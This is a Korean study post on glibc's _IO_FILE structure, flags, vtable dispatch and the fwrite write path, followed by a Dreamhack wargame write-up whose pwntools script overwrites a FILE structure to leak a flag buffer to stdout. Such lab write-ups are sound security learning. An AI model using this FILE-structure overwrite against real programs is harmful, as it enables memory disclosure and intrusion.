(+ubuntu 18.04 환경 구축)
_IO_FILE
리눅스 시스템의 표준 라이브러리에 속하는 내부 구조체이며 파일 스트림을 나타내기 위한 구조체
: fopen 함수 사용 시, _IO_FILE은 heap 영역에 할당
: fopen >> 파일 포인터 반환 >> 인자로 사용
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
(구조체의 멤버 변수)
| _flags | 파일에 대한 읽기/쓰기/추가 권한을 의미합니다. 0xfbad0000 값을 매직 값으로, 하위 2바이트는 비트 플래그로 사용됩니다. 각 비트에 대한 상세 설명은 다음 장에서 다룹니다. |
| _IO_read_ptr | 파일 읽기 버퍼에 대한 포인터입니다. |
| _IO_read_end | 파일 읽기 버퍼 주소의 끝을 가리키는 포인터입니다. |
| _IO_read_base | 파일 읽기 버퍼 주소의 시작을 가리키는 포인터입니다. |
| _IO_write_base | 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터입니다. |
| _IO_write_ptr | 쓰기 버퍼에 대한 포인터입니다. |
| _IO_write_end | 파일 쓰기 버퍼 주소의 끝을 가리키는 포인터입니다. |
| _chain | 프로세스의 _IO_FILE 구조체는 _chain 필드를 통해 링크드 리스트를 만듭니다. 링크드 리스트의 헤더는 라이브러리의 전역 변수인 _IO_list_all 에 저장됩니다. |
| _fileno | 파일 디스크립터의 값입니다. |
| _IO_jump_t *vtable | 파일 관련 작업을 수행하는 가상 함수 테이블입니다. |
_IO_FILE : _flags (멤버 변수)
파일의 성질을 나타내는 필드 << fopen시에 전달한 모드에 따라서 비트 설정
(_flags 비트)
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flag의 결과 :: _IO_MAGIC (매직넘버)를 포함한 각 권한을 나타내는 비트
( 매직 넘버 :: 데이터 구조의 유효성 확인 / 특정 유형의 구조체 식별)
: fopen함수가 호출되면, 내부 함수 _IO_new_file_fopen이 실행된다.
내부 함수의 구성을 보면 fopen함수의 인자 mode따라 각 권한에 해당하는 비트를 할당한다.
_IO_FILE : vtable (포인터)
vtable (virtual function table)
: 클래스의 가상함수들에 대한 포인터들을 담고 있는 테이블
: 메모리에 가상함수를 담을 영역 할당 && 주소 기록 >> 해당 테이블 기준으로 상대주소를 통해 호출
가상함수란?
클래스의 멤버 함수 중에서 상속될 수 있는 함수로, 파생 클래스에서 재정의 될 수 있다.
파일 구조체에는 _IO_FILE 구조체 뿐만 아니라 함수 테이블 존재
>> 파일 함수 호출 시 해당 테이블을 참조하여 함수 호출
vtable에 대해서 정의한 _IO_jump_t 구조체
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
디버깅한 결과를 보면 다음과 같이 할당되어있는 것을 확인할 수있다..

_IO_FILE : vtable 호출 과정
어떻게 _IO_jump_t 구조체에 접근하여 vtable에 접근하여 함수를 호출할 건인가
(예) fread함수 호출 과정
fread함수와 동일하게 정의된 _IO_fread 함수 내부 >> _IO_sgetn 함수 호출
>> _IO_sgetn 함수의 구현체로 _IO_XSGETN 호출 >> _IO_XSGETN에서 매크를 통해 vtable 접근
파일 쓰기 함수 분석
파일 쓰기 과정
fwrite / fputs >> 라이브러리 내부 :: _IO_sputn 호출 >> _IO_new_file_xsputn 함수 실행
IO_new_file_xsputn 에서는 함수인자와 데이터 길이 검사 >> _IO_OVERFLOW (_IO_new_file_overflow)함수 호출
실제 write :: _IO_new_file_overflow 이후에 다양한 함수가 호출되며 실행 ... 여기 함수 내부에 데이터를 어떻게 써서 exploit할 것인가가 관건
(1)_IO_new_file_overflow 함수
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
// 파일 포인터의 _flags 변수에 쓰기 권한 있는 지 확인
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
...
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
- _flags에 _IO_CURRENTLY_PUTTING 미설정 >> _IO_write_ptr, _IO_write_base, _IO_write_end 필드 등을 변조
- 함수 인자로 전달된 ch 가 EOF(-1)이면 _IO_do_write 함수 호출
- 내부적으로 new_do_write함수 호출 >> 파일작성 through 파일 구조체 내 포인터
(2) 플래그 검사
검증 : _flags에 _IO_IS_APPENDING 플래그 포함 여부
ㄴ 존재X : _IO_read_end 와 _IO_write_base가 다르면 lseek syscall 호출
ㄴ 존재 O :_IO_SYSWRITE 호출
(3) _IO_SYSWRITE
new_do_write 함수의 인자인 파일 포인터 & data & to_do를 인자로
_IO_SYSWRITE 호출 (== vtable의 _IO_new_file_write함수)
(4) _IO_new_file_write 함수
내부에서 write syscall을 사용하여 파일에 데이터 작성
Bypass IO_validate_vtable


- amd64-64
- partial RELRO, nx 적용
- canary, pie 미적용
- 주요 소스코드
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
// flag파일을 읽고 flag_buf에 저장
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
// flag내용을 flag_buf에 저장
read_flag();
// testfile을 쓰기모드로 오픈
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
// 300만큼 fp에 읽어와서 저장 후
read(0, fp, 300);
// "test file!"문자열을 testfile에 write (flag_buz사이즈만큼..)
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
- 시나리오
목표 : fwrite에서 참조하는 파일 구조체를 조작하여 read_flag함수의 flag_buf 내용 획득
1. 파일 구조체 조작
(기본 세팅)_flags변수를 매직 넘버 (0x fbad 0000), _IO_CURRENTLY_PUTTING(0x 800)을 포함한 값으로 변경 >>
임의 주소 (read_flag())의 값을 읽기 위해
_IO_write_ptr >> flag_buf + 1024
_IO_write_base >> flag_buf 로 조작
fwrite를 변경 >> fileno (파일 디스크립터) 를 stdout을 나타내는 1 조작
write (f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
- Exploit code
from pwn import *
p = remote('host3.dreamhack.games',16897)
elf = ELF('./iofile_aar')
flag_buf = elf.symbols['flag_buf']
# _IO_IS_APPENDING (없으면 기존의 data문자열이 쓰여짐)
payload = p64(0xfbad0000 | 0x800) # magic num | _IO_CURRENTLY_PUTTING
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # _fileno : stdout로 변경
p.sendlineafter(b'Data: ', payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
| ptmalloc2 allocator | Heap Allocator Exploit (0) | 2024.05.11 |
|---|---|
| write-up (0) | 2024.03.30 |
| SigReturn-Oriented Programming (0) | 2024.03.30 |
| linux library exploit :: __environ (1) | 2024.03.29 |
| linux library exploit :: _rtld_global (0) | 2024.03.28 |